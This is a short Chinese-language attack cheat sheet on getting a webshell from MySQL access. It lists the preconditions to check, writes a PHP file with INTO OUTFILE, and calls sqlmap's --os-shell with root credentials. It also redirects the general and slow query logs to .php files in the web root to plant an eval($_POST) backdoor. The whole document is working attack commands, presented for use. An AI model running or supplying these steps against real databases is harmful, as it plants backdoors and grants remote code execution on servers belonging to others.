方式一:
条件:
对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置 –secure-file-priv(secure-file-priv=空)
show global variables like ‘%secure%‘; ##查看secure-file-priv值
select group_concat(user,0x3a,file_priv) from mysql.user; ##查看当前用户是否有写权限,Y代表有
select ‘<?php phpinfo() ?>‘ into outfile ‘/www/work/webshell.php‘; ##写shell多种方式outfile,dumpfile,具体分析 若内容存在引号,会存在语法错误
解决办法:在单引号前再加单引号,实现转义
知道密码情况下或者也可sqlmap连接
sqlmap.py -d "mysql://root:123456@xx.xx.xx.xx:3306/mysql" --os-shell
方式二:全局日志
show variables like ‘%general%‘; set global general_log = on;
set global general_log_file = ‘/www/xx.php‘; select ‘<?php eval($_POST[‘apple‘]);?>‘;
修改为原来路径,再关闭
set global general_log_file=‘/xxx/xxxx‘ set global general_log = off;
方式三:慢查询getshell(比全局日志好,全局日志太大,shell容易500,慢查询日志体积小)
show variables like ‘%slow%‘;
set GLOBAL slow_query_log_file=‘C:/phpStudy/PHPTutorial/WWW/slow.php‘;
set GLOBAL slow_query_log=on; set GLOBAL log_queries_not_using_indexes=on;
select ‘‘ from mysql.db where sleep(10);